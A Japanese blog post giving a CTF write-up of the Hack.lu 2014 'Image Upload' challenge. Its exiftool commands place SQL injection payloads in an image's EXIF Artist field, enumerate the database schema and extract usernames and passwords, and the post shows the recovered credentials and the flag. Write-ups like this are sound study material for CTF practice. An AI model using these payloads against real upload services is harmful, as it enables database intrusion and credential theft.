きゅうり。

主にCTF関係のことを書いていく気がします

Hack.lu CTF 2014 Image Upload writeup

ずっと前にチーム内勉強会でやった記憶があったので、当時の記憶をなぞったという感じ。

画像アップローダーとログインフォームだけが渡される。

ログインフォームをいじっても、SQL injectionはなさそう。

画像を適当にアップすると、指名手配みたいに加工された後に謎のパラメータが下部に付与される。

Width Height Author Manufacturer Model

とあるが、これはExif情報であることが自明。

exiftoolを使うとこの情報を編集することができる。

さて、Exif情報が表示されるということは、画像に加えてこれらの情報も保存されているということになる。

つまり、INSERT (width, height, author, manufacture, model) VALUE (0,0,hoge,piyo,fuga) というSQL文が動いていると考えられる。

そこで、この文を利用してSQL injectionを行う。

$ exiftool -Artist="art',(SELECT table_name FROM information_schema.tables LIMIT 41,1),(SELECT table_name FROM information_schema.tables LIMIT 40,1))#" solve.jpg

users, picturesの2つのテーブルがあることがわかる。

picturesはアップロードした画像なので、usersを探る。

$ exiftool -Artist="art',(SELECT column_name FROM information_schema.columns WHERE table_name ='users' LIMIT 1,1),(SELECT column_name FROM information_schema.columns WHERE table_name ='users' LIMIT 2,1))#" solve.jpg

name, password のカラムがあることがわかる。(LIMIT 0,1 は idなので省略)

ここからユーザ情報を抜く。

$ exiftool -Artist="art',(SELECT name FROM users LIMIT 0,1),(SELECT password FROM users LIMIT 0,1))#" solve.jpg

$ exiftool -Artist="art',(SELECT name FROM users LIMIT 1,1),(SELECT password FROM users LIMIT 1,1))#" solve.jpg

sheriff AO7eikkOCucCFJOyyaaQ

deputy testpw

という2つのペアが得られるが、sheriffでログインするとフラグが得られる。

flag{1_5h07_7h3_5h3r1ff}

 

暗号に慣れてるせいで推測とエスパーの境目がわからないので精進したい。

ちなみに、SQL injection用のチートシートとしてここを使った。

MySQL SQL Injection Cheat Sheet | pentestmonkey

MySQL以外のものもまとまっているので使えそう。

ちなみに、MAMPを入れて実際にSQLを動かしてやるのもわかりやすかった。